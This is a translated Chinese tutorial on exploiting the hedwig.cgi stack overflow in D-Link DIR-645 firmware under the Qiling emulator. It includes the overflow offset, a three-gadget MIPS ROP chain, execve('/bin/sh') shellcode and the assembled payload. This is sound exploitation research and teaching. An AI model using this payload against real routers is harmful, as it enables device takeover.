使用Qiling分析Dlink DIR-645中的缓冲区溢出(part II)

原文链接:https://github.com/nahueldsanchez/blogpost_qiling_dlink_2

介绍

在研究学习使用qiling 框架对路由器固件进行分析的过程中,在先知发现了有前辈搬运并翻译了这篇文章的第一部分,第二部分个人感觉也是很精彩,尝试翻译一下。

目录

  1. 构造exp
  2. 使系统调用能够“工作”
  3. 构造能够在qiling框架下工作的exp
  4. 参考资料

构造exp

通过阅读第一部分,我们在之前的步骤中确定了漏洞的位置,如何去触发这个漏洞以及造成他的根本原因,我们基于之前的工作,知道了程序 将会在 0x0040c594 这个地址触发崩溃,既函数hedwig_main :

...
0040c58c c4 04 b1 8f     lw         s1,param_12(sp)
0040c590 c0 04 b0 8f     lw         s0,param_11(sp)
0040c594 08 00 e0 03     jr         ra
...

我们也知道我们要覆盖堆栈中的很多内存,并且我们控制了大量的寄存器:

...
[-] s0  :    0x41414141
[-] s1  :    0x41414141
[-] s2  :    0x41414141
[-] s3  :    0x41414141
[-] s4  :    0x41414141
[-] s5  :    0x41414141
[-] s6  :    0x41414141
[-] s7  :    0x41414141
[-] t8  :    0x8
[-] t9  :    0x0
[-] k0  :    0x0
[-] k1  :    0x0
[-] gp  :    0x43b6d0
[-] sp  :    0x7ff3c608
[-] s8  :    0x41414141
[-] ra  :    0x41414141
[-] status  :    0x0
[-] lo  :    0x0
[-] hi  :    0x0
[-] badvaddr    :    0x0
[-] cause   :    0x0
[-] pc  :    0x41414140
...

考虑到这种情况,我的想法是用system函数的地址覆盖返回地址,然后根据需要设置参数。我知道这是有用的,因为Metasploit中包含的exp就是如此。

为了检验我的假设,第一步,我决定摆脱所有复杂性并模拟(simulate)这个攻击过程。我的想法是分配一些内存,把我们要执行的命令写在这里,然后通过 改变返回地址指向到 system函数以及把写有命令的内存地址加载到执行system函数所需的寄存器中。

听起来有很大的工作量,让我们来测试一下:

...
RETURN_CORRUPTED_STACK = 0x0040c594     # 在上一篇文章中通过开启调试连接到gdb获得的初始化断点
QILING_SYSTEM = 0x0041eb50              # x/10i system 获得 system function addr


def simulate_exploitation(ql):
    ql.nprint("** at simulate_exploitation **")
    cmd = ql.mem.map_anywhere(20)       # Qiling 分配20字节的块给我们并返回其地址
                                        # 我们把我们的命令写在这里


    ql.mem.string(command, "/bin/sh")   # We write our string
    ql.reg.a0 = command                 # 把 register a0 设置为我们命令的地址
    ql.reg.ra = QILING_SYSTEM           # 最后修改 $ra register
...

ql.hook_address(simulate_exploit, RETURN_CORRUPTED_STACK)   # 当运行到ret的时候回调到 hedwig_main
ql.run()

正如你将看到的,模拟这个过程非常简单,让我们看看发生了什么:

...
** at simulate_exploitation **
rt_sigaction(0x3, 0x7ff3c430, = 0x7ff3c450) = 0
rt_sigaction(0x2, 0x7ff3c430, = 0x7ff3c450) = 0
rt_sigaction(0x12, 0x7ff3c430, = 0x7ff3c450) = 0
[!] 0x77507144: syscall ql_syscall_fork number = 0xfa2(4002) not implemented
rt_sigaction(0x3, 0x7ff3c430, = 0x7ff3c450) = 0
rt_sigaction(0x2, 0x7ff3c430, = 0x7ff3c450) = 0
[!] Syscall ERROR: ql_syscall_wait4 DEBUG: [Errno 10] No child processes
ChildProcessError: [Errno 10] No child processes
...

看起来好像生效了,但感觉这里发生了什么问题。我想是当我们要执行到system函数的某些时刻,system尝试调用fork syscall,但这种方式是qiling不支持的。

为了验证我的想法我做了两件事:第一,我给 system设置了一个断点,检查是否在某个时刻触发了这个断点;其次,为了更好的展示,我修改了system函数执行的命令为exit,让我们看一下又发生了什么:

def simulate_exploitation(ql):
    ...
    ql.reg.ra = QILING_EXIT           # 最后修改 $ra register

运行这个poc:

...
** at simulate_exploitation **
write(1,7756d038,114) = 0
HTTP/1.1 200 OK
Content-Type: text/xml

<hedwig><result>FAILED</result><message>no xml data.</message></hedwig>exit(4431872) = 4431872
...

好多了!如我们所见,程序通过调用正常退出exit()。我们可以肯定,利用漏洞的想法是可行的!让我们努力将模拟的转换为真实的东西。

使系统调用能够“工作”

在阅读我在上一步中所做的工作时,我发现我直接利用exit当shellcode是一个很偷懒的行为。我应该更加努力地尝试第一个想法去调用系统函数。基于此,我将更深入地研究如何进行这项工作。

我的第一个想法是检查为什么收到此错误:

[!] 0x77507144: syscall ql_syscall_fork number = 0xfa2(4002) not implemented

我查看了syscall 0xfa2的类型,发现syscall 0xfa2fork。有了这些信息,我使用了Qiling的扩展系统调用的能力,如下所示:

MIPS_FORK_SYSCALL = 0xfa2

...

# Code copied from lib/qiling/os/posix/syscall/unistd.py:380
def hook_fork(ql, *args, **kw):
    pid = os.fork()
    if pid == 0:
        ql.os.child_processes = True
        ql.dprint (0, "[+] vfork(): is this a child process: %r" % (ql.os.child_processes))
        regreturn = 0
        if ql.os.thread_management != None:
            ql.os.thread_management.cur_thread.set_thread_log_file(ql.log_dir)
        else:
            if ql.log_split:
                _logger = ql.log_file_fd
                _logger = ql_setup_logging_file(ql.output, ql.log_file , _logger)
                _logger_name = str(len(logging.root.manager.loggerDict))
                _logger = ql_setup_logging_file(ql.output, '_'.join((ql.log_file, _logger_name)))
                ql.log_file_fd = _logger
    else:
        regreturn = pid

    if ql.os.thread_management != None:
        ql.emu_stop()
...

ql.set_syscall(MIPS_FORK_SYSCALL, hook_fork)

我将fork的实现作为一个测试,但它的效果特别棒!

** at simulate_exploitation **
rt_sigaction(0x3, 0x7ff3c430, = 0x7ff3c450) = 0
rt_sigaction(0x2, 0x7ff3c430, = 0x7ff3c450) = 0
rt_sigaction(0x12, 0x7ff3c430, = 0x7ff3c450) = 0
vfork() = 24076
vfork() = 0
rt_sigaction(0x3, 0x7ff3c430, = 0x7ff3c450) = 0
rt_sigaction(0x2, 0x7ff3c430, = 0x7ff3c450) = 0
rt_sigaction(0x3, 0x7ff3c430, = 0x7ff3c450) = 0
rt_sigaction(0x2, 0x7ff3c430, = 0x7ff3c450) = 0
rt_sigaction(0x12, 0x7ff3c430, = 0x7ff3c450) = 0
[!] Syscall ERROR: ql_syscall_execve DEBUG: Invalid memory read (UC_ERR_READ_UNMAPPED)
Traceback (most recent call last):
  File "emulate_cgibin.py", line 143, in <module>

我们可以看到我们的函数的输出,更重要的是我们可以看到 从execve这个系统调用中返回的错误信息,让我们得知最后execve是被调用了的,证明了system函数是被执行了的。为了修复这个错误,我通过 Qiling's magic 劫持了 execve系统调用,并正确设置了寄存器以使调用正常进行:

MIPS_EXECVE_SYSCALL = 0xfab

...

def execve_onenter(ql, pathname, argv, envp, *args):
    ql.nprint("at execve_onenter")
    ql.reg.a1 = 0
    ql.reg.a2 = 0
    ql.nprint(ql.mem.string(pathname))
    ql.nprint(ql.mem.string(argv))

...

ql.set_syscall(MIPS_EXECVE_SYSCALL, execve_onenter, QL_INTERCEPT.ENTER)

输出:

...
vfork() = 24229
vfork() = 0
rt_sigaction(0x3, 0x7ff3c430, = 0x7ff3c450) = 0
rt_sigaction(0x3, 0x7ff3c430, = 0x7ff3c450) = 0
rt_sigaction(0x2, 0x7ff3c430, = 0x7ff3c450) = 0
rt_sigaction(0x2, 0x7ff3c430, = 0x7ff3c450) = 0
rt_sigaction(0x12, 0x7ff3c430, = 0x7ff3c450) = 0
at execve_onenter
/bin/sh
PdUwTdUw
execve(/bin/sh, [], [])
ioctl(0x0, 0x540d, 0x7ff3c5b0) = -1
ioctl(0x1, 0x540d, 0x7ff3c5b0) = -1
[!] Emulation Error
...

YES! 我们看到了 execve系统调用我们的命令后的输出,现在让我们看看怎么让它不需要模拟在真实环境正常工作。

回到我们的主要主题,让我们快速回顾一下代码容易受到攻击的地方:

hedgiwcgi_main函数中, 感谢Ghidra让我们能够去反汇编这段代码,我只把有用的部分拷贝出来。

...
sess_get_uid(iVar1);
uVar2 = sobj_get_string(iVar1);
sprintf(acStack1064,"%s/%s/postxml","/runtime/session",uVar2);
...

首先,代码处理我们的请求并获得UID,然后在sprintf语句中使用UID来构建存储在堆栈中的路径。当我们控制UID时,我们可以覆盖堆栈并最终覆盖保存的返回地址。Ghidra可以帮助我们告诉我们 acStack1064 是什么类型,检查反编译的代码,就会在hedwigcgi_main开始时发现:

char acStack1064 [ 1024 ];

我们知道,至少需要1024个字节来填充此变量,然后加上 X个byte 使得我们能够覆盖返回地址,这里有几种计算方法:

  • 通过一段循环pattern,来确定哪一部分覆盖了$ra (gdb create_pattern )

  • 另一个选择是检查 当返回地址改为0x0040c568 的时候,我们可以看到它是从哪个内存地址读取的:

    ...
    0040c568 e4 04 bf 8f     lw         ra,param_20(sp) -> Stack[0x4e4]
    ...

我们可以通过使用gdb来获得这些信息,在调用sprintf之后设置一个断点并做一下简单的数学运算:

  • 我们知道我们的目标缓冲区位于0x7ff3c1e0
  • 我们知道我们保存的返回地址位于 0x7ff3c604 ($sp+0x4e4)
  • 0x7ff3c604-0x7ff3c1e0 = 1060 bytes 但我们必须考虑固定字符串, len(/runtime/session/) -> 17(/runtime/session/是发送的固定字符串 在hedgiwcgi_main 的代码那里可以看到)

这使我们总共有1043个字节。让我们测试一下。我们通过 1043个A来填满变量,通过BBBB覆盖返回地址。我在指令恢复到$ra寄存器之后返回之前设置了一个断点。

...
buffer = "uid=%s" % ("A" * 1043)
buffer += "BBBB"

required_env = {
    "REQUEST_METHOD": "POST",
    "HTTP_COOKIE"   : buffer
}

ql = Qiling(path, rootfs, output = "none", env=required_env)
...

输出:

...
   0x40c568 <hedwigcgi_main+1448> lw     ra, 1252(sp)
→  0x40c56c <hedwigcgi_main+1452> move   v0, s7
...
Breakpoint 1, 0x0040c568 in hedwigcgi_main ()
...
$pc  : 0x0040c56c
$sp  : 0x7ff3c4e8
$hi  : 0x0       
$lo  : 0x0       
$fir : 0x0       
$ra  : 0x42424242 ("BBBB"?)
...

是有效的!我们现在知道了可以用1043个byte去覆盖返回地址,我们可以在这1043个byte中去存储我们的shellcode 比如说 存储execve("/bin/sh")然后跳转到这里。我先假设堆栈中的代码是可执行的(没有 NX保护位);做出这个假设是基于我对这些廉价路由器(emmmmmm)的了解以及Metasploit也是这样做的。

构造能够在qiling框架下工作的exp

解决了上述问题后,我开始着手编写可在Qiling仿真环境中运行的漏洞利用程序。其背后的目标是:

  • 了解更多关于MIPS的漏洞利用(在写博客之前我对它几乎完全不了解。)
  • 继续学习Qiling
  • Have fun ..

虽然我花了不少时间来完成这项工作,但我发现做这项工作有巨大的价值,让我学到了新东西,并进行了一些非常好的实践训练。

我开始在 Pedro Ribeiro's advisory针对具有相似特征的其他CVE研究我的想法。

我想到的计划是:

  1. 利用漏洞并覆盖返回地址
  2. 一旦能够控制程序的执行流,就可以重定向执行,执行Sleep以模拟在MIPS上执行的操作来确定exp是否可靠并处理缓存不一致性。
  3. 在堆栈中找到我的shellcode
  4. 重定向执行

了解MIPS调用约定的工作原理

完成第一步后,我决定做一个我认为是快速的测试:直接覆盖返回地址为 sleep函数的地址,并设置模拟漏洞利用所需的参数:

通过gdb info functions <function name> 来确定Sleep函数的地址,,但是返回的是映射到cgi-bin二进制文件中的函数的地址,而不是libuClibc.so库中的实际地址。

为了找到正确的地址,我按照下步骤操作:

  1. 我检查了这些代码行加载libuClibc到哪个地址
def simulate_exploit(ql):
    import pdb
    pdb.set_trace()
    ...

运行程序并进入PDB提供的Python shell后 ,使用ql.mem.show_mapinfo()得到了:

...
[+] 774fc000 - 7755a000 - rwx    [mmap] ../lib/libuClibc-0.9.30.1.so
[+] 7755a000 - 77569000 - rwx    [syscall_mmap]
[+] 77569000 - 7756b000 - rwx    [mmap] ../libuClibc-0.9.30.1.so
...

现在我们知道了我们的库加载到了0x774fc000

  1. 通过Ghidra打开 libuClibc-0.9.30.1.so ,找到了Sleep函数的偏移。
uint __stdcall sleep(uint __seconds)

00066bd0 02 00 1c 3c            lui        gp,0x2
...

我得到了偏移 0x00066bd0,然后我认为通过基础地址+偏移就可以得到函数的真实地址,但是经过反复试验并使用GDB检查其他函数地址后,我发现我需要减去0x10000,然后设计出了以下代码:

def calc_address(addr_offset):
    LIBC_BASE = 0x774fc000

    return LIBC_BASE + addr_offset - 0x10000

sleep 函数在此特定的lib中将位于 0x77552bd0 ,有了这个地址我就尝试通过覆盖$ra寄存器来模拟漏洞利用。

def simulate_exploit(ql):

    ql.nprint("** at simulate_exploitation **")

    ql.reg.a0 = 1           # Seconds to sleep
    ql.reg.ra = 0x77552bd0  # sleep uClibc
    ...

这次尝试惨遭失败,让我困惑了好几天,直到我发现如下博客:

这两篇文章都解释了MIPS的工作原理(我在此进行了总结),一旦调用了函数就不能只将重写$ra$t9 ,$gp寄存器也被使用了来计算内容,所以你需要在$t9寄存器中被调用函数的地址。

有了这些信息,我对上面的函数做了些微修改,以更改$t9寄存器,这次测试可以正常进行:

...
ioctl(0x3, 0x540d, 0x7ff3c358) = -1
** at simulate_exploitation **
rt_sigprocmask(0x1, 0x7ff3c778, 0x7ff3c7f8, 0x10) = 0
nanosleep(0x7ff3c770, 0x7ff3c770) = 0 <--- Sleep 被执行了
...

使用ROP构造exp

测试成功后,我决定探索如何构建我认为可靠的利用脚本。为了做到这一点,我尽量避免修复uClibc以外的地址,并使用ROP。

为了能够做到这一点,我需要不同的ROP gadgets来执行前面提到的步骤。为了找到它们,我进行了一些(缓慢而痛苦的)的工作,并用 devtty0的Ghidra脚本.对其进行了补充。

注意:这些脚本存在一些问题,例如误报或无效的gadget。因此,我不得不通过一些手动搜索来补充工作。

为了能够将我的shellcode放入环境变量中,HTTP_COOKIE我不得不对Qiling的代码进行一些修改以使其可以接受bytes以及strings

注意:代码已经在那儿了,我不得不取消注释。

def copy_str(self, addr, l):
    l_addr = []
    s_addr = addr
    for i in l:
        s_addr = s_addr - len(i) - 1
        if isinstance(i, bytes):
            self.ql.mem.write(s_addr, i + b'\x00')
        else:
            self.ql.mem.write(s_addr, i.encode() + b'\x00')
        l_addr.append(s_addr)
    return l_addr, s_addr

我需要的第一个gadget是执行sleep,同时在$a0中有一个相当小的值,它作为sleep睡眠几秒的参数,而且这个gadget需要允许我保持对执行流的控制。我发现了如下的一个gadget:

#Gadget 1 (calls sleep(3) and jumps to  $s5)
#
# 0003bc94 03 00 04 24            li         a0,0x3  ; Argument for sleep
# 0003bc98 21 c8 c0 03            move       t9,s8   ; s8 points to sleep()
# 0003bc9c 09 f8 20 03            jalr       t9
# 0003bca0 21 30 00 00            _clear     a2
# 0003bca4 21 28 80 02            move       a1,s4
# 0003bca8 0e 00 04 24            li         a0,0xe
# 0003bcac 21 c8 a0 02            move       t9,s5   ; Address of Gadget #2
# 0003bcb0 09 f8 20 03            jalr       t9
# 0003bcb4 21 30 00 00            _clear     a2

第二个(地址必须在$s5中)必须调整堆栈指针$sp以进入我的shellcode,并将其值放入寄存器:

# Gadget 2 (Adjusts $sp and puts stack addess in $s1)
#
# 0004dcb4 28 00 b1 27            addiu      s1,sp,0x28
# 0004dcb8 21 20 60 02            move       a0,s3
# 0004dcbc 21 28 20 02            move       a1,s1
# 0004dcc0 21 c8 00 02            move       t9,s0
# 0004dcc4 09 f8 20 03            jalr       t9
# 0004dcc8 01 00 06 24            _li        __name,0x1

在这个gadget被执行后,我让寄存器$s1指向堆栈中的代码,并且可以控制执行流来控制$s0寄存器的值。幸运的是,如果你记得的话,在博客文章的开始我们就控制了它。最后一个小工具必须执行$t9引用的代码:

# Gadget 3 (jumps to $s1 -> Stack)
# 0001bb44 21 c8 20 02            move       t9,s1
# 0001bb48 09 f8 20 03            jalr       t9
# 0001bb4c 03 00 04 24            _li        __size,0x3

一旦有了所需的gadget,就需要我们要执行的shellcode execve(/bin/sh),我找到Firmware exploitation with JEB: Part 2blogpost:这篇博客中使用的

# execve shellcode translated from MIPS to MIPSEL
# http://shell-storm.org/shellcode/files/shellcode-792.php
# Taken from: https://www.pnfsoftware.com/blog/firmware-exploitation-with-jeb-part-2/

shellcode = b""
shellcode += b"\xff\xff\x06\x28" # slti $a2, $zero, -1
shellcode += b"\x62\x69\x0f\x3c" # lui $t7, 0x6962
shellcode += b"\x2f\x2f\xef\x35" # ori $t7, $t7, 0x2f2f
shellcode += b"\xf4\xff\xaf\xaf" # sw $t7, -0xc($sp)
shellcode += b"\x73\x68\x0e\x3c" # lui $t6, 0x6873
shellcode += b"\x6e\x2f\xce\x35" # ori $t6, $t6, 0x2f6e
shellcode += b"\xf8\xff\xae\xaf" # sw $t6, -8($sp)
shellcode += b"\xfc\xff\xa0\xaf" # sw $zero, -4($sp)
shellcode += b"\xf4\xff\xa4\x27" # addiu $a0, $sp, -0xc
shellcode += b"\xff\xff\x05\x28" # slti $a1, $zero, -1
shellcode += b"\xab\x0f\x02\x24" # addiu;$v0, $zero, 0xfab
shellcode += b"\x0c\x01\x01\x01" # syscall 0x40404\

在这篇博客中我也找到了一个有用的nop sled,我也使用上了

# MIPS nopsled from https://www.pnfsoftware.com/blog/firmware-exploitation-with-jeb-part-2/
buffer += b"\x26\x40\x08\x01" * 30 + shellcode
# ###########

完成所有步骤后,我唯一要做的就是使用以下结构构造我们最终的payload:

...
buffer = b"uid=%s" % (b"B" * 1003)
buffer += b"AAAA"
#buffer += b"0000"                                      
buffer += pack("<I", calc_address(0x0001bb44))  #Gadget #3
buffer += b"1111"                               #$s1
buffer += b"2222"                               #$s2
buffer += b"1111"                               #$s3
buffer += b"4444"                               #$s4
#buffer += b"5555"                              
buffer += pack("<I", calc_address(0x0004dcb4))  #Gadget #2
buffer += b"6666"                               #$s6
buffer += b"7777"                               #$s7
#buffer += b"8888"
buffer += pack("<I", 0x77552bd0)                # Sleep address
buffer += pack("<I", 0x77527c94)                # Overwrites $ra with #Gadget #1
buffer += b"\x26\x40\x08\x01" * 30 + shellcode

来看一下输出:

...
** At [sess_get_uid] **
** Ret from sobj_add_string **
socket(1, 1, 0) = 3
fcntl(3, 2) = 0
connect(../squashfs-root/var/run/xmldb_sock) = -1
close(3) = 0
open(/var/tmp/temp.xml, 0x241, 0o666) = 3
ioctl(0x3, 0x540d, 0x7ff3c358) = -1
rt_sigprocmask(0x1, 0x7ff3c778, 0x7ff3c7f8, 0x10) = 0
nanosleep(0x7ff3c770, 0x7ff3c770) = 0
execve(//bin/sh, [], [])
ioctl(0x0, 0x540d, 0x7ff3c8c8) = -1
ioctl(0x1, 0x540d, 0x7ff3c8c8) = -1
...

我们可以看到:

  • 我们以前博客中打印的字符串
  • 调用nanosleep实现的sleep
  • 最后调用执行execve

完成工作!

如果要重现此内容,请转到qiling_dlink_exploit.py以获取Python脚本。

参考文献

https://kirin-say.top/2019/02/23/Building-MIPS-Environment-for-Router-PWN/ - 分析此漏洞的博客文章。它看起来真的很有趣,并且提供了有趣的分析。

https://www.pnfsoftware.com/blog/firmware-exploitation-with-jeb-part-1/ - 优秀的博客文章,帮助我了解了如何准备寄存器以使Shellcode在MIPS上工作。它还强调了对X86和MIPS的利用之间的一些关键区别。

https://www.lorem.club/~/Haskal@write.lain.faith/mips-rop -关于MIPS漏洞利用的非常好的文章

https://www.praetorian.com/blog/getting-started-with-damn-vulnerable-router-firmware-dvrf-v01 - 对于练习MIPS漏洞利用非常有用的项目

http://www.devttys0.com/2013/10/mips-rop-ida-plugin/ - MIPS rop plugin (IDA)

https://raw.githubusercontent.com/pedrib/PoC/master/advisories/dlink-hnap-login.txt - Pedro Ribeiro Advisory for Multiple vulnerabilities in Dlink DIR routers HNAP Login function

https://gsec.hitb.org/materials/sg2015/whitepapers/Lyon%20Yang%20-%20Advanced%20SOHO%20Router%20Exploitation.pdf - EXPLOITING BUFFER OVERFLOWS ON MIPS ARCHITECTURES BY Lyon Yang

点击收藏 | 1 关注 | 1
  • 动动手指,沙发就是你的了!
登录 后跟帖